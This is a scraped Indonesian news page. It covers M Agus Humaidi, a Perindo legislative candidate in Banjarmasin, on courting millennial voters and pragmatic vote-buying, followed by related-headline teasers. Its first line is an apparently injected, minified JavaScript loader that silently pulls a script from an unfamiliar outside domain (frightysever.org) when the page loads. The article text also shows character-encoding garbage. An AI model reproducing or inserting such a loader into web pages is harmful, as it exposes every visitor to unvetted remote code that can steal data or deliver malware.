(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Kata milenial di tahun politik kini sudah menyimpang dari arti sebenarnya. Dari yang awalnya merupakan sebuah bagian kelompok demografi sesudah generasi X, kini menjadi sebuah produk politik guna menggaet lebih banyak suara pada Pemilu mendatang.ÂÂ
Bagi M Agus Humaidi, Caleg dari Partai Perindo mengatakan, mengajak milenial untuk ikut dalam pesta rakyat ini merupakan sebuah strategi dan taktik dalan bagaimana meyakinkan masyarakat.ÂÂ
Karena menjadi bagian dari sebuah partai baru, tentu menjadi sebuah tantangan bagi mereka untuk menghadapi pesaing-pesaing yang sudah berpengalaman. Mendekatkan diri kepada milenial adalah salah satu strategi untuk bisa menjadi lima besar di tengah persaingan.ÂÂ
Melihat banyaknya caleg baru dengan membawa unsur milenial ini tentu juga akan mempunyai banyak lawan yang harus ia hadapi, seperti para senior dan incumbent.
“Tentu punya strategi yang baru pula agar masarakat percaya dengan kita. Yang pasti masyarakat jangan dibohongi, yang kedua adakan kontrak politik dengan masyarakat,†ujarnya.
Namun, tidak bisa dipungkiri tidak semua kaum milenial yang bersemangat ikut menyuarakan hak mereka pada Pemilu nanti. Tentu dimana pun ada politik pragmatis.
Menurut dosen komunikasi politik ini, tentu sudah menjadi tugas parta dan caleg untuk menyampaikan kepada masyarakar bahwa semua kebijakan di kehidupan mereka seperti harga bahan pokok dan lain-lain adalah kebijakan dari politik.
“Selama ini kan masyarakat pragmatis, memilih uang, mereka terasa terbeli. Sesudah terpilih, tidak ada lagi Caleg yang berkunjung ke mereka seperti masa kampanye,†bebernya
Ini yang ingin Agus lakukan dan harapkan kepada para caleg lainnya, agar terus menyerap aspirasi masyarakat dan terus berkunjung serta menjalin emosi.
Agus sendiri menjadi satu bagian dari beberapa caleg milenial lainnya yang ikut bersuara dalam dialog publik dengan tema “Millennial Political Movement, A Solution or Not? (Pergerakan politik milennial, sebuah solusi atau bukan?), yang diadakan Sabtu (2/3) lalu di Taher Square, Banjarmasin. (mario)
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
This website uses cookies.